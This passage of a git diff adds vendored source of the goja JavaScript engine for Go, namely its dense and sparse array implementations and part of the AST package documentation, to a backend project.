a.propValueCount-- + } + } + } + } + if l <= uint32(len(a.values)) { + if l >= 16 && l < uint32(cap(a.values))>>2 { + ar := make([]Value, l) + copy(ar, a.values) + a.values = ar + } else { + ar := a.values[l:len(a.values)] + for i := range ar { + ar[i] = nil + } + a.values = a.values[:l] + } + } + a.length = l + if !ret { + a.val.runtime.typeErrorResult(throw, "Cannot redefine property: length") + } + return ret +} + +func (a *arrayObject) setLengthInt(l uint32, throw bool) bool { + if l == a.length { + return true + } + if !a.lengthProp.writable { + a.val.runtime.typeErrorResult(throw, "length is not writable") + return false + } + return a._setLengthInt(l, throw) +} + +func (a *arrayObject) setLength(v uint32, throw bool) bool { + if !a.lengthProp.writable { + a.val.runtime.typeErrorResult(throw, "length is not writable") + return false + } + return a._setLengthInt(v, throw) +} + +func (a *arrayObject) getIdx(idx valueInt, receiver Value) Value { + prop := a.getOwnPropIdx(idx) + if prop == nil { + if a.prototype != nil { + if receiver == nil { + return a.prototype.self.getIdx(idx, a.val) + } + return a.prototype.self.getIdx(idx, receiver) + } + } + if prop, ok := prop.(*valueProperty); ok { + if receiver == nil { + return prop.get(a.val) + } + return prop.get(receiver) + } + return prop +} + +func (a *arrayObject) getOwnPropStr(name unistring.String) Value { + if len(a.values) > 0 { + if i := strToArrayIdx(name); i != math.MaxUint32 { + if i < uint32(len(a.values)) { + return a.values[i] + } + } + } + if name == "length" { + return a.getLengthProp() + } + return a.baseObject.getOwnPropStr(name) +} + +func (a *arrayObject) getOwnPropIdx(idx valueInt) Value { + if i := toIdx(idx); i != math.MaxUint32 { + if i < uint32(len(a.values)) { + return a.values[i] + } + return nil + } + + return a.baseObject.getOwnPropStr(idx.string()) +} + +func (a *arrayObject) sortLen() int { + return len(a.values) +} + +func (a *arrayObject) sortGet(i int) Value { + v := a.values[i] + if p, ok := v.(*valueProperty); ok { + v = p.get(a.val) + } + return v +} + +func (a *arrayObject) swap(i int, j int) { + a.values[i], a.values[j] = a.values[j], a.values[i] +} + +func (a *arrayObject) getStr(name unistring.String, receiver Value) Value { + return a.getStrWithOwnProp(a.getOwnPropStr(name), name, receiver) +} + +func (a *arrayObject) getLengthProp() *valueProperty { + a.lengthProp.value = intToValue(int64(a.length)) + return &a.lengthProp +} + +func (a *arrayObject) setOwnIdx(idx valueInt, val Value, throw bool) bool { + if i := toIdx(idx); i != math.MaxUint32 { + return a._setOwnIdx(i, val, throw) + } else { + return a.baseObject.setOwnStr(idx.string(), val, throw) + } +} + +func (a *arrayObject) _setOwnIdx(idx uint32, val Value, throw bool) bool { + var prop Value + if idx < uint32(len(a.values)) { + prop = a.values[idx] + } + + if prop == nil { + if proto := a.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, ok := proto.self.setForeignIdx(valueInt(idx), val, a.val, throw); ok { + return res + } + } + // new property + if !a.extensible { + a.val.runtime.typeErrorResult(throw, "Cannot add property %d, object is not extensible", idx) + return false + } else { + if idx >= a.length { + if !a.setLengthInt(idx+1, throw) { + return false + } + } + if idx >= uint32(len(a.values)) { + if !a.expand(idx) { + a.val.self.(*sparseArrayObject).add(idx, val) + return true + } + } + a.objCount++ + } + } else { + if prop, ok := prop.(*valueProperty); ok { + if !prop.isWritable() { + a.val.runtime.typeErrorResult(throw) + return false + } + prop.set(a.val, val) + return true + } + } + a.values[idx] = val + return true +} + +func (a *arrayObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._setOwnIdx(idx, val, throw) + } else { + if name == "length" { + return a.setLength(a.val.runtime.toLengthUint32(val), throw) + } else { + return a.baseObject.setOwnStr(name, val, throw) + } + } +} + +func (a *arrayObject) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return a._setForeignIdx(idx, a.getOwnPropIdx(idx), val, receiver, throw) +} + +func (a *arrayObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return a._setForeignStr(name, a.getOwnPropStr(name), val, receiver, throw) +} + +type arrayPropIter struct { + a *arrayObject + limit int + idx int +} + +func (i *arrayPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.a.values) && i.idx < i.limit { + name := asciiString(strconv.Itoa(i.idx)) + prop := i.a.values[i.idx] + i.idx++ + if prop != nil { + return propIterItem{name: name, value: prop}, i.next + } + } + + return i.a.baseObject.iterateStringKeys()() +} + +func (a *arrayObject) iterateStringKeys() iterNextFunc { + return (&arrayPropIter{ + a: a, + limit: len(a.values), + }).next +} + +func (a *arrayObject) stringKeys(all bool, accum []Value) []Value { + for i, prop := range a.values { + name := strconv.Itoa(i) + if prop != nil { + if !all { + if prop, ok := prop.(*valueProperty); ok && !prop.enumerable { + continue + } + } + accum = append(accum, asciiString(name)) + } + } + return a.baseObject.stringKeys(all, accum) +} + +func (a *arrayObject) hasOwnPropertyStr(name unistring.String) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return idx < uint32(len(a.values)) && a.values[idx] != nil + } else { + return a.baseObject.hasOwnPropertyStr(name) + } +} + +func (a *arrayObject) hasOwnPropertyIdx(idx valueInt) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return idx < uint32(len(a.values)) && a.values[idx] != nil + } + return a.baseObject.hasOwnPropertyStr(idx.string()) +} + +func (a *arrayObject) hasPropertyIdx(idx valueInt) bool { + if a.hasOwnPropertyIdx(idx) { + return true + } + + if a.prototype != nil { + return a.prototype.self.hasPropertyIdx(idx) + } + + return false +} + +func (a *arrayObject) expand(idx uint32) bool { + targetLen := idx + 1 + if targetLen > uint32(len(a.values)) { + if targetLen < uint32(cap(a.values)) { + a.values = a.values[:targetLen] + } else { + if idx > 4096 && (a.objCount == 0 || idx/uint32(a.objCount) > 10) { + //log.Println("Switching standard->sparse") + sa := &sparseArrayObject{ + baseObject: a.baseObject, + length: a.length, + propValueCount: a.propValueCount, + } + sa.setValues(a.values, a.objCount+1) + sa.val.self = sa + sa.lengthProp.writable = a.lengthProp.writable + sa._put("length", &sa.lengthProp) + return false + } else { + if bits.UintSize == 32 { + if targetLen >= math.MaxInt32 { + panic(a.val.runtime.NewTypeError("Array index overflows int")) + } + } + tl := int(targetLen) + newValues := make([]Value, tl, growCap(tl, len(a.values), cap(a.values))) + copy(newValues, a.values) + a.values = newValues + } + } + } + return true +} + +func (r *Runtime) defineArrayLength(prop *valueProperty, descr PropertyDescriptor, setter func(uint32, bool) bool, throw bool) bool { + var newLen uint32 + ret := true + if descr.Value != nil { + newLen = r.toLengthUint32(descr.Value) + } + + if descr.Configurable == FLAG_TRUE || descr.Enumerable == FLAG_TRUE || descr.Getter != nil || descr.Setter != nil { + ret = false + goto Reject + } + + if descr.Value != nil { + oldLen := uint32(prop.value.ToInteger()) + if oldLen != newLen { + ret = setter(newLen, false) + } + } else { + ret = true + } + + if descr.Writable != FLAG_NOT_SET { + w := descr.Writable.Bool() + if prop.writable { + prop.writable = w + } else { + if w { + ret = false + goto Reject + } + } + } + +Reject: + if !ret { + r.typeErrorResult(throw, "Cannot redefine property: length") + } + + return ret +} + +func (a *arrayObject) _defineIdxProperty(idx uint32, desc PropertyDescriptor, throw bool) bool { + var existing Value + if idx < uint32(len(a.values)) { + existing = a.values[idx] + } + prop, ok := a.baseObject._defineOwnProperty(unistring.String(strconv.FormatUint(uint64(idx), 10)), existing, desc, throw) + if ok { + if idx >= a.length { + if !a.setLengthInt(idx+1, throw) { + return false + } + } + if a.expand(idx) { + a.values[idx] = prop + a.objCount++ + if _, ok := prop.(*valueProperty); ok { + a.propValueCount++ + } + } else { + a.val.self.(*sparseArrayObject).add(idx, prop) + } + } + return ok +} + +func (a *arrayObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._defineIdxProperty(idx, descr, throw) + } + if name == "length" { + return a.val.runtime.defineArrayLength(a.getLengthProp(), descr, a.setLength, throw) + } + return a.baseObject.defineOwnPropertyStr(name, descr, throw) +} + +func (a *arrayObject) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._defineIdxProperty(idx, descr, throw) + } + return a.baseObject.defineOwnPropertyStr(idx.string(), descr, throw) +} + +func (a *arrayObject) _deleteIdxProp(idx uint32, throw bool) bool { + if idx < uint32(len(a.values)) { + if v := a.values[idx]; v != nil { + if p, ok := v.(*valueProperty); ok { + if !p.configurable { + a.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of %s", idx, a.val.toString()) + return false + } + a.propValueCount-- + } + a.values[idx] = nil + a.objCount-- + } + } + return true +} + +func (a *arrayObject) deleteStr(name unistring.String, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._deleteIdxProp(idx, throw) + } + return a.baseObject.deleteStr(name, throw) +} + +func (a *arrayObject) deleteIdx(idx valueInt, throw bool) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._deleteIdxProp(idx, throw) + } + return a.baseObject.deleteStr(idx.string(), throw) +} + +func (a *arrayObject) export(ctx *objectExportCtx) interface{} { + if v, exists := ctx.get(a.val); exists { + return v + } + arr := make([]interface{}, a.length) + ctx.put(a.val, arr) + if a.propValueCount == 0 && a.length == uint32(len(a.values)) && uint32(a.objCount) == a.length { + for i, v := range a.values { + if v != nil { + arr[i] = exportValue(v, ctx) + } + } + } else { + for i := uint32(0); i < a.length; i++ { + v := a.getIdx(valueInt(i), nil) + if v != nil { + arr[i] = exportValue(v, ctx) + } + } + } + return arr +} + +func (a *arrayObject) exportType() reflect.Type { + return reflectTypeArray +} + +func (a *arrayObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + r := a.val.runtime + if iter := a.getSym(SymIterator, nil); iter == r.getArrayValues() || iter == nil { + l := toIntStrict(int64(a.length)) + if typ.Kind() == reflect.Array { + if dst.Len() != l { + return fmt.Errorf("cannot convert an Array into an array, lengths mismatch (have %d, need %d)", l, dst.Len()) + } + } else { + dst.Set(reflect.MakeSlice(typ, l, l)) + } + ctx.putTyped(a.val, typ, dst.Interface()) + for i := 0; i < l; i++ { + if i >= len(a.values) { + break + } + val := a.values[i] + if p, ok := val.(*valueProperty); ok { + val = p.get(a.val) + } + err := r.toReflectValue(val, dst.Index(i), ctx) + if err != nil { + return fmt.Errorf("could not convert array element %v to %v at %d: %w", val, typ, i, err) + } + } + return nil + } + return a.baseObject.exportToArrayOrSlice(dst, typ, ctx) +} + +func (a *arrayObject) setValuesFromSparse(items []sparseArrayItem, newMaxIdx int) { + a.values = make([]Value, newMaxIdx+1) + for _, item := range items { + a.values[item.idx] = item.value + } + a.objCount = len(items) +} + +func toIdx(v valueInt) uint32 { + if v >= 0 && v < math.MaxUint32 { + return uint32(v) + } + return math.MaxUint32 +} diff --git a/backend/vendor/github.com/dop251/goja/array_sparse.go b/backend/vendor/github.com/dop251/goja/array_sparse.go new file mode 100644 index 0000000..f99afd7 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/array_sparse.go @@ -0,0 +1,500 @@ +package goja + +import ( + "fmt" + "math" + "math/bits" + "reflect" + "sort" + "strconv" + + "github.com/dop251/goja/unistring" +) + +type sparseArrayItem struct { + idx uint32 + value Value +} + +type sparseArrayObject struct { + baseObject + items []sparseArrayItem + length uint32 + propValueCount int + lengthProp valueProperty +} + +func (a *sparseArrayObject) findIdx(idx uint32) int { + return sort.Search(len(a.items), func(i int) bool { + return a.items[i].idx >= idx + }) +} + +func (a *sparseArrayObject) _setLengthInt(l uint32, throw bool) bool { + ret := true + if l <= a.length { + if a.propValueCount > 0 { + // Slow path + for i := len(a.items) - 1; i >= 0; i-- { + item := a.items[i] + if item.idx <= l { + break + } + if prop, ok := item.value.(*valueProperty); ok { + if !prop.configurable { + l = item.idx + 1 + ret = false + break + } + a.propValueCount-- + } + } + } + } + + idx := a.findIdx(l) + + aa := a.items[idx:] + for i := range aa { + aa[i].value = nil + } + a.items = a.items[:idx] + a.length = l + if !ret { + a.val.runtime.typeErrorResult(throw, "Cannot redefine property: length") + } + return ret +} + +func (a *sparseArrayObject) setLengthInt(l uint32, throw bool) bool { + if l == a.length { + return true + } + if !a.lengthProp.writable { + a.val.runtime.typeErrorResult(throw, "length is not writable") + return false + } + return a._setLengthInt(l, throw) +} + +func (a *sparseArrayObject) setLength(v uint32, throw bool) bool { + if !a.lengthProp.writable { + a.val.runtime.typeErrorResult(throw, "length is not writable") + return false + } + return a._setLengthInt(v, throw) +} + +func (a *sparseArrayObject) _getIdx(idx uint32) Value { + i := a.findIdx(idx) + if i < len(a.items) && a.items[i].idx == idx { + return a.items[i].value + } + + return nil +} + +func (a *sparseArrayObject) getStr(name unistring.String, receiver Value) Value { + return a.getStrWithOwnProp(a.getOwnPropStr(name), name, receiver) +} + +func (a *sparseArrayObject) getIdx(idx valueInt, receiver Value) Value { + prop := a.getOwnPropIdx(idx) + if prop == nil { + if a.prototype != nil { + if receiver == nil { + return a.prototype.self.getIdx(idx, a.val) + } + return a.prototype.self.getIdx(idx, receiver) + } + } + if prop, ok := prop.(*valueProperty); ok { + if receiver == nil { + return prop.get(a.val) + } + return prop.get(receiver) + } + return prop +} + +func (a *sparseArrayObject) getLengthProp() *valueProperty { + a.lengthProp.value = intToValue(int64(a.length)) + return &a.lengthProp +} + +func (a *sparseArrayObject) getOwnPropStr(name unistring.String) Value { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._getIdx(idx) + } + if name == "length" { + return a.getLengthProp() + } + return a.baseObject.getOwnPropStr(name) +} + +func (a *sparseArrayObject) getOwnPropIdx(idx valueInt) Value { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._getIdx(idx) + } + return a.baseObject.getOwnPropStr(idx.string()) +} + +func (a *sparseArrayObject) add(idx uint32, val Value) { + i := a.findIdx(idx) + a.items = append(a.items, sparseArrayItem{}) + copy(a.items[i+1:], a.items[i:]) + a.items[i] = sparseArrayItem{ + idx: idx, + value: val, + } +} + +func (a *sparseArrayObject) _setOwnIdx(idx uint32, val Value, throw bool) bool { + var prop Value + i := a.findIdx(idx) + if i < len(a.items) && a.items[i].idx == idx { + prop = a.items[i].value + } + + if prop == nil { + if proto := a.prototype; proto != nil { + // we know it's foreign because prototype loops are not allowed + if res, ok := proto.self.setForeignIdx(valueInt(idx), val, a.val, throw); ok { + return res + } + } + + // new property + if !a.extensible { + a.val.runtime.typeErrorResult(throw, "Cannot add property %d, object is not extensible", idx) + return false + } + + if idx >= a.length { + if !a.setLengthInt(idx+1, throw) { + return false + } + } + + if a.expand(idx) { + a.items = append(a.items, sparseArrayItem{}) + copy(a.items[i+1:], a.items[i:]) + a.items[i] = sparseArrayItem{ + idx: idx, + value: val, + } + } else { + ar := a.val.self.(*arrayObject) + ar.values[idx] = val + ar.objCount++ + return true + } + } else { + if prop, ok := prop.(*valueProperty); ok { + if !prop.isWritable() { + a.val.runtime.typeErrorResult(throw) + return false + } + prop.set(a.val, val) + } else { + a.items[i].value = val + } + } + return true +} + +func (a *sparseArrayObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._setOwnIdx(idx, val, throw) + } else { + if name == "length" { + return a.setLength(a.val.runtime.toLengthUint32(val), throw) + } else { + return a.baseObject.setOwnStr(name, val, throw) + } + } +} + +func (a *sparseArrayObject) setOwnIdx(idx valueInt, val Value, throw bool) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._setOwnIdx(idx, val, throw) + } + + return a.baseObject.setOwnStr(idx.string(), val, throw) +} + +func (a *sparseArrayObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return a._setForeignStr(name, a.getOwnPropStr(name), val, receiver, throw) +} + +func (a *sparseArrayObject) setForeignIdx(name valueInt, val, receiver Value, throw bool) (bool, bool) { + return a._setForeignIdx(name, a.getOwnPropIdx(name), val, receiver, throw) +} + +type sparseArrayPropIter struct { + a *sparseArrayObject + idx int +} + +func (i *sparseArrayPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.a.items) { + name := asciiString(strconv.Itoa(int(i.a.items[i.idx].idx))) + prop := i.a.items[i.idx].value + i.idx++ + if prop != nil { + return propIterItem{name: name, value: prop}, i.next + } + } + + return i.a.baseObject.iterateStringKeys()() +} + +func (a *sparseArrayObject) iterateStringKeys() iterNextFunc { + return (&sparseArrayPropIter{ + a: a, + }).next +} + +func (a *sparseArrayObject) stringKeys(all bool, accum []Value) []Value { + if all { + for _, item := range a.items { + accum = append(accum, asciiString(strconv.FormatUint(uint64(item.idx), 10))) + } + } else { + for _, item := range a.items { + if prop, ok := item.value.(*valueProperty); ok && !prop.enumerable { + continue + } + accum = append(accum, asciiString(strconv.FormatUint(uint64(item.idx), 10))) + } + } + + return a.baseObject.stringKeys(all, accum) +} + +func (a *sparseArrayObject) setValues(values []Value, objCount int) { + a.items = make([]sparseArrayItem, 0, objCount) + for i, val := range values { + if val != nil { + a.items = append(a.items, sparseArrayItem{ + idx: uint32(i), + value: val, + }) + } + } +} + +func (a *sparseArrayObject) hasOwnPropertyStr(name unistring.String) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + i := a.findIdx(idx) + return i < len(a.items) && a.items[i].idx == idx + } else { + return a.baseObject.hasOwnPropertyStr(name) + } +} + +func (a *sparseArrayObject) hasOwnPropertyIdx(idx valueInt) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + i := a.findIdx(idx) + return i < len(a.items) && a.items[i].idx == idx + } + + return a.baseObject.hasOwnPropertyStr(idx.string()) +} + +func (a *sparseArrayObject) hasPropertyIdx(idx valueInt) bool { + if a.hasOwnPropertyIdx(idx) { + return true + } + + if a.prototype != nil { + return a.prototype.self.hasPropertyIdx(idx) + } + + return false +} + +func (a *sparseArrayObject) expand(idx uint32) bool { + if l := len(a.items); l >= 1024 { + if ii := a.items[l-1].idx; ii > idx { + idx = ii + } + if (bits.UintSize == 64 || idx < math.MaxInt32) && int(idx)>>3 < l { + //log.Println("Switching sparse->standard") + ar := &arrayObject{ + baseObject: a.baseObject, + length: a.length, + propValueCount: a.propValueCount, + } + ar.setValuesFromSparse(a.items, int(idx)) + ar.val.self = ar + ar.lengthProp.writable = a.lengthProp.writable + a._put("length", &ar.lengthProp) + return false + } + } + return true +} + +func (a *sparseArrayObject) _defineIdxProperty(idx uint32, desc PropertyDescriptor, throw bool) bool { + var existing Value + i := a.findIdx(idx) + if i < len(a.items) && a.items[i].idx == idx { + existing = a.items[i].value + } + prop, ok := a.baseObject._defineOwnProperty(unistring.String(strconv.FormatUint(uint64(idx), 10)), existing, desc, throw) + if ok { + if idx >= a.length { + if !a.setLengthInt(idx+1, throw) { + return false + } + } + if i >= len(a.items) || a.items[i].idx != idx { + if a.expand(idx) { + a.items = append(a.items, sparseArrayItem{}) + copy(a.items[i+1:], a.items[i:]) + a.items[i] = sparseArrayItem{ + idx: idx, + value: prop, + } + if idx >= a.length { + a.length = idx + 1 + } + } else { + a.val.self.(*arrayObject).values[idx] = prop + } + } else { + a.items[i].value = prop + } + if _, ok := prop.(*valueProperty); ok { + a.propValueCount++ + } + } + return ok +} + +func (a *sparseArrayObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._defineIdxProperty(idx, descr, throw) + } + if name == "length" { + return a.val.runtime.defineArrayLength(a.getLengthProp(), descr, a.setLength, throw) + } + return a.baseObject.defineOwnPropertyStr(name, descr, throw) +} + +func (a *sparseArrayObject) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._defineIdxProperty(idx, descr, throw) + } + return a.baseObject.defineOwnPropertyStr(idx.string(), descr, throw) +} + +func (a *sparseArrayObject) _deleteIdxProp(idx uint32, throw bool) bool { + i := a.findIdx(idx) + if i < len(a.items) && a.items[i].idx == idx { + if p, ok := a.items[i].value.(*valueProperty); ok { + if !p.configurable { + a.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of %s", idx, a.val.toString()) + return false + } + a.propValueCount-- + } + copy(a.items[i:], a.items[i+1:]) + a.items[len(a.items)-1].value = nil + a.items = a.items[:len(a.items)-1] + } + return true +} + +func (a *sparseArrayObject) deleteStr(name unistring.String, throw bool) bool { + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + return a._deleteIdxProp(idx, throw) + } + return a.baseObject.deleteStr(name, throw) +} + +func (a *sparseArrayObject) deleteIdx(idx valueInt, throw bool) bool { + if idx := toIdx(idx); idx != math.MaxUint32 { + return a._deleteIdxProp(idx, throw) + } + return a.baseObject.deleteStr(idx.string(), throw) +} + +func (a *sparseArrayObject) sortLen() int { + if len(a.items) > 0 { + return toIntStrict(int64(a.items[len(a.items)-1].idx) + 1) + } + + return 0 +} + +func (a *sparseArrayObject) export(ctx *objectExportCtx) interface{} { + if v, exists := ctx.get(a.val); exists { + return v + } + arr := make([]interface{}, a.length) + ctx.put(a.val, arr) + var prevIdx uint32 + for _, item := range a.items { + idx := item.idx + for i := prevIdx; i < idx; i++ { + if a.prototype != nil { + if v := a.prototype.self.getIdx(valueInt(i), nil); v != nil { + arr[i] = exportValue(v, ctx) + } + } + } + v := item.value + if v != nil { + if prop, ok := v.(*valueProperty); ok { + v = prop.get(a.val) + } + arr[idx] = exportValue(v, ctx) + } + prevIdx = idx + 1 + } + for i := prevIdx; i < a.length; i++ { + if a.prototype != nil { + if v := a.prototype.self.getIdx(valueInt(i), nil); v != nil { + arr[i] = exportValue(v, ctx) + } + } + } + return arr +} + +func (a *sparseArrayObject) exportType() reflect.Type { + return reflectTypeArray +} + +func (a *sparseArrayObject) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + r := a.val.runtime + if iter := a.getSym(SymIterator, nil); iter == r.getArrayValues() || iter == nil { + l := toIntStrict(int64(a.length)) + if typ.Kind() == reflect.Array { + if dst.Len() != l { + return fmt.Errorf("cannot convert an Array into an array, lengths mismatch (have %d, need %d)", l, dst.Len()) + } + } else { + dst.Set(reflect.MakeSlice(typ, l, l)) + } + ctx.putTyped(a.val, typ, dst.Interface()) + for _, item := range a.items { + val := item.value + if p, ok := val.(*valueProperty); ok { + val = p.get(a.val) + } + idx := toIntStrict(int64(item.idx)) + if idx >= l { + break + } + err := r.toReflectValue(val, dst.Index(idx), ctx) + if err != nil { + return fmt.Errorf("could not convert array element %v to %v at %d: %w", item.value, typ, idx, err) + } + } + return nil + } + return a.baseObject.exportToArrayOrSlice(dst, typ, ctx) +} diff --git a/backend/vendor/github.com/dop251/goja/ast/README.markdown b/backend/vendor/github.com/dop251/goja/ast/README.markdown new file mode 100644 index 0000000..aba088e --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ast/README.markdown @@ -0,0 +1,1068 @@ +# ast +-- + import "github.com/dop251/goja/ast" + +Package ast declares types representing a JavaScript AST. + + +### Warning + +The parser and AST interfaces are still works-in-progress (particularly where +node types are concerned) and may change in the future. + +## Usage + +#### type ArrayLiteral + +```go +type ArrayLiteral struct { + LeftBracket file.Idx + RightBracket file.Idx + Value []Expression +} +``` + + +#### func (*ArrayLiteral) Idx0 + +```go +func (self *ArrayLiteral) Idx0() file.Idx +``` + +#### func (*ArrayLiteral) Idx1 + +```go +func (self *ArrayLiteral) Idx1() file.Idx +``` + +#### type AssignExpression + +```go +type AssignExpression struct { + Operator token.Token + Left Expression + Right Expression +} +``` + + +#### func (*AssignExpression) Idx0 + +```go +func (self *AssignExpression) Idx0() file.Idx +``` + +#### func (*AssignExpression) Idx1 + +```go +func (self *AssignExpression) Idx1() file.Idx +``` + +#### type BadExpression + +```go +type BadExpression struct { + From file.Idx + To file.Idx +} +``` + + +#### func (*BadExpression) Idx0 + +```go +func (self *BadExpression) Idx0() file.Idx +``` + +#### func (*BadExpression) Idx1 + +```go +func (self *BadExpression) Idx1() file.Idx +``` + +#### type BadStatement + +```go +type BadStatement struct { + From file.Idx + To file.Idx +} +``` + + +#### func (*BadStatement) Idx0 + +```go +func (self *BadStatement) Idx0() file.Idx +``` + +#### func (*BadStatement) Idx1 + +```go +func (self *BadStatement) Idx1() file.Idx +``` + +#### type BinaryExpression + +```go +type BinaryExpression struct { + Operator token.Token + Left Expression + Right Expression + Comparison bool +} +``` + + +#### func (*BinaryExpression) Idx0 + +```go +func (self *BinaryExpression) Idx0() file.Idx +``` + +#### func (*BinaryExpression) Idx1 + +```go +func (self *BinaryExpression) Idx1() file.Idx +``` + +#### type BlockStatement + +```go +type BlockStatement struct { + LeftBrace file.Idx + List []Statement + RightBrace file.Idx +} +``` + + +#### func (*BlockStatement) Idx0 + +```go +func (self *BlockStatement) Idx0() file.Idx +``` + +#### func (*BlockStatement) Idx1 + +```go +func (self *BlockStatement) Idx1() file.Idx +``` + +#### type BooleanLiteral + +```go +type BooleanLiteral struct { + Idx file.Idx + Literal string + Value bool +} +``` + + +#### func (*BooleanLiteral) Idx0 + +```go +func (self *BooleanLiteral) Idx0() file.Idx +``` + +#### func (*BooleanLiteral) Idx1 + +```go +func (self *BooleanLiteral) Idx1() file.Idx +``` + +#### type BracketExpression + +```go +type BracketExpression struct { + Left Expression + Member Expression + LeftBracket file.Idx + RightBracket file.Idx +} +``` + + +#### func (*BracketExpression) Idx0 + +```go +func (self *BracketExpression) Idx0() file.Idx +``` + +#### func (*BracketExpression) Idx1 + +```go +func (self *BracketExpression) Idx1() file.Idx +``` + +#### type BranchStatement + +```go +type BranchStatement struct { + Idx file.Idx + Token token.Token + Label *Identifier +} +``` + + +#### func (*BranchStatement) Idx0 + +```go +func (self *BranchStatement) Idx0() file.Idx +``` + +#### func (*BranchStatement) Idx1 + +```go +func (self *BranchStatement) Idx1() file.Idx +``` + +#### type CallExpression + +```go +type CallExpression struct { + Callee Expression + LeftParenthesis file.Idx + ArgumentList []Expression + RightParenthesis file.Idx +} +``` + + +#### func (*CallExpression) Idx0 + +```go +func (self *CallExpression) Idx0() file.Idx +``` + +#### func (*CallExpression) Idx1 + +```go +func (self *CallExpression) Idx1() file.Idx +``` + +#### type CaseStatement + +```go +type CaseStatement struct { + Case file.Idx + Test Expression + Consequent []Statement +} +``` + + +#### func (*CaseStatement) Idx0 + +```go +func (self *CaseStatement) Idx0() file.Idx +``` + +#### func (*CaseStatement) Idx1 + +```go +func (self *CaseStatement) Idx1() file.Idx +``` + +#### type CatchStatement + +```go +type CatchStatement struct { + Catch file.Idx + Parameter *Identifier + Body Statement +} +``` + + +#### func (*CatchStatement) Idx0 + +```go +func (self *CatchStatement) Idx0() file.Idx +``` + +#### func (*CatchStatement) Idx1 + +```go +func (self *CatchStatement) Idx1() file.Idx +``` + +#### type ConditionalExpression + +```go +type ConditionalExpression struct { + Test Expression + Consequent Expression + Alternate Expression +} +``` + + +#### func (*ConditionalExpression) Idx0 + +```go +func (self *ConditionalExpression) Idx0() file.Idx +``` + +#### func (*ConditionalExpression) Idx1 + +```go +func (self *ConditionalExpression) Idx1() file.Idx +``` + +#### type DebuggerStatement + +```go +type DebuggerStatement struct { + Debugger file.Idx +} +``` + + +#### func (*DebuggerStatement) Idx0 + +```go +func (self *DebuggerStatement) Idx0() file.Idx +``` + +#### func (*DebuggerStatement) Idx1 + +```go +func (self *DebuggerStatement) Idx1() file.Idx +``` + +#### type Declaration + +```go +type Declaration interface { + // contains filtered or unexported methods +} +``` + +All declaration nodes implement the Declaration interface. + +#### type DoWhileStatement + +```go +type DoWhileStatement struct { + Do file.Idx + Test Expression + Body Statement +} +``` + + +#### func (*DoWhileStatement) Idx0 + +```go +func (self *DoWhileStatement) Idx0() file.Idx +``` + +#### func (*DoWhileStatement) Idx1 + +```go +func (self *DoWhileStatement) Idx1() file.Idx +``` + +#### type DotExpression + +```go +type DotExpression struct { + Left Expression + Identifier Identifier +} +``` + + +#### func (*DotExpression) Idx0 + +```go +func (self *DotExpression) Idx0() file.Idx +``` + +#### func (*DotExpression) Idx1 + +```go +func (self *DotExpression) Idx1() file.Idx +``` + +#### type EmptyStatement + +```go +type EmptyStatement struct { + Semicolon file.Idx +} +``` + + +#### func (*EmptyStatement) Idx0 + +```go +func (self *EmptyStatement) Idx0() file.Idx +``` + +#### func (*EmptyStatement) Idx1 + +```go +func (self *EmptyStatement) Idx1() file.Idx +``` + +#### type Expression + +```go +type Expression interface { + Node + // contains filtered or unexported methods +} +``` + +All expression nodes implement the Expression interface. + +#### type ExpressionStatement + +```go +type ExpressionStatement struct { + Expression Expression +} +``` + + +#### func (*ExpressionStatement) Idx0 + +```go +func (self *ExpressionStatement) Idx0() file.Idx +``` + +#### func (*ExpressionStatement) Idx1 + +```go +func (self *ExpressionStatement) Idx1() file.Idx +``` + +#### type ForInStatement + +```go +type ForInStatement struct { + For file.Idx + Into Expression + Source Expression + Body Statement +} +``` + + +#### func (*ForInStatement) Idx0 + +```go +func (self *ForInStatement) Idx0() file.Idx +``` + +#### func (*ForInStatement) Idx1 + +```go +func (self *ForInStatement) Idx1() file.Idx +``` + +#### type ForStatement + +```go +type ForStatement struct { + For file.Idx + Initializer Expression + Update Expression + Test Expression + Body Statement +} +``` + + +#### func (*ForStatement) Idx0 + +```go +func (self *ForStatement) Idx0() file.Idx +``` + +#### func (*ForStatement) Idx1 + +```go +func (self *ForStatement) Idx1() file.Idx +``` + +#### type FunctionDeclaration + +```go +type FunctionDeclaration struct { + Function *FunctionLiteral +} +``` + + +#### type FunctionLiteral + +```go +type FunctionLiteral struct { + Function file.Idx + Name *Identifier + ParameterList *ParameterList + Body Statement + Source string + + DeclarationList []Declaration +} +``` + + +#### 